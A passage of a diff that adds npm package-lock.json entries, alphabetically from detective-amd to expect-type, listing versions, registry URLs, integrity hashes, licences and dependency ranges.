"sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/detective-amd": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/detective-amd/-/detective-amd-6.1.0.tgz", + "integrity": "sha512-fmI6LGMvotqd49QaA3ZYw+q0aGp2yXmMjzIuY6fH9j9YFIXY/73yDhMwhX9cPbhWd+AH06NH1Di/LKOuCH0Ubg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ast-module-types": "^6.0.1", + "escodegen": "^2.1.0", + "get-amd-module-type": "^6.0.2", + "node-source-walk": "^7.0.1" + }, + "bin": { + "detective-amd": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/detective-cjs": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/detective-cjs/-/detective-cjs-6.1.1.tgz", + "integrity": "sha512-pSh7mkCKEtLlmANqLu3KDFS3NV8Hx41jy/JF1/gAWOgU+Uo5QTkeI1tWNP4dWGo4L0E9j18Ez9EPsTleautKqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ast-module-types": "^6.0.1", + "node-source-walk": "^7.0.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/detective-es6": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/detective-es6/-/detective-es6-5.0.2.tgz", + "integrity": "sha512-+qHHGYhjupiVs4rnIpI9nZ5B130A4AmE35ZX1w33hb46vcZ7T3jfDbvmPw0FhWtMHn5BS5HHu7ZtnZ53bMcXZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "node-source-walk": "^7.0.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/detective-postcss": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/detective-postcss/-/detective-postcss-8.0.3.tgz", + "integrity": "sha512-0AQjxn13b14tLmeXQq0QAFXSP6vBZhWFfmEazyFQ+JVlVwfrYlKF6dGy4R06hqAiSZ9cRvFx0FW4uvVnx0WXiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-url-superb": "^4.0.0", + "postcss-values-parser": "^6.0.2" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4.47" + } + }, + "node_modules/detective-sass": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/detective-sass/-/detective-sass-6.0.2.tgz", + "integrity": "sha512-i3xpXHDKS0qI2aFW4asQ7fqlPK00ndOVZELvQapFJCaF0VxYmsNWtd0AmvXbTLMk7bfO5VdIeorhY9KfmHVoVA==", + "dev": true, + "license": "MIT", + "dependencies": { + "gonzales-pe": "^4.3.0", + "node-source-walk": "^7.0.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/detective-scss": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/detective-scss/-/detective-scss-5.0.2.tgz", + "integrity": "sha512-9JOEMZ8pDh3ShXmftq7hoQqqJsClaGgxo1hghfCeFlmKf5TC/Twtwb0PAaK8dXwpg9Z0uCmEYSrCxO+kel2eEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "gonzales-pe": "^4.3.0", + "node-source-walk": "^7.0.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/detective-stylus": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/detective-stylus/-/detective-stylus-5.0.1.tgz", + "integrity": "sha512-Dgn0bUqdGbE3oZJ+WCKf8Dmu7VWLcmRJGc6RCzBgG31DLIyai9WAoEhYRgIHpt/BCRMrnXLbGWGPQuBUrnF0TA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/detective-typescript": { + "version": "14.1.2", + "resolved": "https://registry.npmjs.org/detective-typescript/-/detective-typescript-14.1.2.tgz", + "integrity": "sha512-bIeEn0eVi/JRsE1YizBR2ilnMlWRAIBJJ6kXCKNFxEEWhUcEY3R6I3KYIAy48ieURbD1hcb3Ebvl8AqeoPMSzg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/typescript-estree": "^8.58.2", + "ast-module-types": "^6.0.1", + "node-source-walk": "^7.0.1" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "typescript": "^5.4.4 || ^6.0.2" + } + }, + "node_modules/detective-vue2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/detective-vue2/-/detective-vue2-2.3.0.tgz", + "integrity": "sha512-3gwbZPqVTm9sL9XdZsgEJ7x4x99O853VVZHapQAiEkGuMJMpFPjHDrecSgfqnS5JW3FJfYXesLZGvUOibjn49g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@dependents/detective-less": "^5.0.1", + "@vue/compiler-sfc": "^3.5.32", + "detective-es6": "^5.0.1", + "detective-sass": "^6.0.1", + "detective-scss": "^5.0.1", + "detective-stylus": "^5.0.1", + "detective-typescript": "^14.1.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "typescript": "^5.4.4 || ^6.0.2" + } + }, + "node_modules/devlop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", + "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", + "license": "MIT", + "dependencies": { + "dequal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/devtools-protocol": { + "version": "0.0.1595872", + "resolved": "https://registry.npmjs.org/devtools-protocol/-/devtools-protocol-0.0.1595872.tgz", + "integrity": "sha512-kRfgp8vWVjBu/fbYCiVFiOqsCk3CrMKEo3WbgGT2NXK2dG7vawWPBljixajVgGK9II8rDO9G0oD0zLt3I1daRg==", + "license": "BSD-3-Clause" + }, + "node_modules/diff": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-9.0.0.tgz", + "integrity": "sha512-svtcdpS8CgJyqAjEQIXdb3OjhFVVYjzGAPO8WGCmRbrml64SPw/jJD4GoE98aR7r25A0XcgrK3F02yw9R/vhQw==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/discord-api-types": { + "version": "0.38.42", + "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.38.42.tgz", + "integrity": "sha512-qs1kya7S84r5RR8m9kgttywGrmmoHaRifU1askAoi+wkoSefLpZP6aGXusjNw5b0jD3zOg3LTwUa3Tf2iHIceQ==", + "license": "MIT", + "workspaces": [ + "scripts/actions/documentation" + ] + }, + "node_modules/discord.js": { + "version": "14.26.4", + "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.26.4.tgz", + "integrity": "sha512-4oBp8tc6Kf8IDBwAHhbsMaAqx1b5fob9SNasZT7V6yyyUydoO5i5fGuX7TmvRtR+q/WgKRnRViRoAWnG7fNyvA==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/builders": "^1.14.1", + "@discordjs/collection": "1.5.3", + "@discordjs/formatters": "^0.6.2", + "@discordjs/rest": "^2.6.1", + "@discordjs/util": "^1.2.0", + "@discordjs/ws": "^1.2.3", + "@sapphire/snowflake": "3.5.3", + "discord-api-types": "^0.38.40", + "fast-deep-equal": "3.1.3", + "lodash.snakecase": "4.1.1", + "magic-bytes.js": "^1.13.0", + "tslib": "^2.6.3", + "undici": "6.24.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/discord.js/node_modules/undici": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.1.tgz", + "integrity": "sha512-sC+b0tB1whOCzbtlx20fx3WgCXwkW627p4EA9uM+/tNNPkSS+eSEld6pAs9nDv7WbY1UUljBMYPtu9BCOrCWKA==", + "license": "MIT", + "engines": { + "node": ">=18.17" + } + }, + "node_modules/doctypes": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/doctypes/-/doctypes-1.1.0.tgz", + "integrity": "sha512-LLBi6pEqS6Do3EKQ3J0NqHWV5hhb78Pi8vvESYwyOy2c31ZEZVdtitdzsQsKb7878PEERhzUk0ftqGhG6Mz+pQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "BSD-2-Clause" + }, + "node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-prop": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-6.0.1.tgz", + "integrity": "sha512-tE7ztYzXHIeyvc7N+hR3oi7FIbf/NIjVP9hmAt3yMXzrQ072/fpjGLx2GxNxGxUl5V73MEqYzioOMoVhGMJ5cA==", + "license": "MIT", + "dependencies": { + "is-obj": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/dotenv": { + "version": "17.4.2", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.4.2.tgz", + "integrity": "sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dotenv-expand": { + "version": "12.0.3", + "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-12.0.3.tgz", + "integrity": "sha512-uc47g4b+4k/M/SeaW1y4OApx+mtLWl92l5LMPP0GNXctZqELk+YGgOPIIC5elYmUH4OuoK3JLhuRUYegeySiFA==", + "license": "BSD-2-Clause", + "dependencies": { + "dotenv": "^16.4.5" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dotenv-expand/node_modules/dotenv": { + "version": "16.6.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", + "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/duplexify": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.3.tgz", + "integrity": "sha512-M3BmBhwJRZsSx38lZyhE53Csddgzl5R7xGJNk7CVddZD6CcmwMCH8J+7AprIrQKH7TonKxaCjcv27Qmf+sQ+oA==", + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.4.1", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1", + "stream-shift": "^1.0.2" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "license": "MIT" + }, + "node_modules/ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", + "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.21.2", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.21.2.tgz", + "integrity": "sha512-xe9vQb5kReirPUxgQrXA3ihgbCqssmTiM7cOZ+Gzu+VeGWgpV98lLZvp0dl4yriyAePcewxGUs9UpKD8PET9KQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.3.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.1.0.tgz", + "integrity": "sha512-n27zTYMjYu1aj4MjCWzSP7G9r75utsaoc8m61weK+W8JMBGGQybd43GstCXZ3WNmSFtGT9wi59qQTW6mhTR5LQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz", + "integrity": "sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.27.7", + "@esbuild/android-arm": "0.27.7", + "@esbuild/android-arm64": "0.27.7", + "@esbuild/android-x64": "0.27.7", + "@esbuild/darwin-arm64": "0.27.7", + "@esbuild/darwin-x64": "0.27.7", + "@esbuild/freebsd-arm64": "0.27.7", + "@esbuild/freebsd-x64": "0.27.7", + "@esbuild/linux-arm": "0.27.7", + "@esbuild/linux-arm64": "0.27.7", + "@esbuild/linux-ia32": "0.27.7", + "@esbuild/linux-loong64": "0.27.7", + "@esbuild/linux-mips64el": "0.27.7", + "@esbuild/linux-ppc64": "0.27.7", + "@esbuild/linux-riscv64": "0.27.7", + "@esbuild/linux-s390x": "0.27.7", + "@esbuild/linux-x64": "0.27.7", + "@esbuild/netbsd-arm64": "0.27.7", + "@esbuild/netbsd-x64": "0.27.7", + "@esbuild/openbsd-arm64": "0.27.7", + "@esbuild/openbsd-x64": "0.27.7", + "@esbuild/openharmony-arm64": "0.27.7", + "@esbuild/sunos-x64": "0.27.7", + "@esbuild/win32-arm64": "0.27.7", + "@esbuild/win32-ia32": "0.27.7", + "@esbuild/win32-x64": "0.27.7" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "license": "BSD-2-Clause", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", + "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "license": "BSD-2-Clause", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", + "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/eventid": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/eventid/-/eventid-2.0.1.tgz", + "integrity": "sha512-sPNTqiMokAvV048P2c9+foqVJzk49o6d4e0D/sq5jog3pw+4kBgyR0gaM1FM7Mx6Kzd9dztesh9oYz1LWWOpzw==", + "license": "Apache-2.0", + "dependencies": { + "uuid": "^8.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eventid/node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/events-universal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/events-universal/-/events-universal-1.0.1.tgz", + "integrity": "sha512-LUd5euvbMLpwOF8m6ivPCbhQeSiYVNb8Vs0fQ8QjXo0JTkEHpz8pxdQf0gStltaPpw0Cca8b39KxvK9cfKRiAw==", + "license": "Apache-2.0", + "dependencies": { + "bare-events": "^2.7.0" + } + }, + "node_modules/eventsource": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz", + "integrity": "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==", + "license": "MIT", + "dependencies": { + "eventsource-parser": "^3.0.1" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/eventsource-parser": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.0.6.tgz", + "integrity": "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/execa": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-9.6.1.tgz", + "integrity": "sha512-9Be3ZoN4LmYR90tUoVu2te2BsbzHfhJyfEiAVfz7N5/zv+jduIfLrV2xdQXOHbaD6KgpGdO9PRPM1Y4Q9QkPkA==", + "license": "MIT", + "dependencies": { + "@sindresorhus/merge-streams": "^4.0.0", + "cross-spawn": "^7.0.6", + "figures": "^6.1.0", + "get-stream": "^9.0.0", + "human-signals": "^8.0.1", + "is-plain-obj": "^4.1.0", + "is-stream": "^4.0.1", + "npm-run-path": "^6.0.0", + "pretty-ms": "^9.2.0", + "signal-exit": "^4.1.0", + "strip-final-newline": "^4.0.0", + "yoctocolors": "^2.1.1" + }, + "engines": { + "node": "^18.19.0 || >=20.5.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/execa/node_modules/get-stream": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-9.0.1.tgz", + "integrity": "sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA==", + "license": "MIT", + "dependencies": { + "@sec-ant/readable-stream": "^0.4.1", + "is-stream": "^4.0.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/execa/node_modules/is-stream": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-4.0.1.tgz", + "integrity": "sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/execa/node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/expect-type": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz", + "integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + 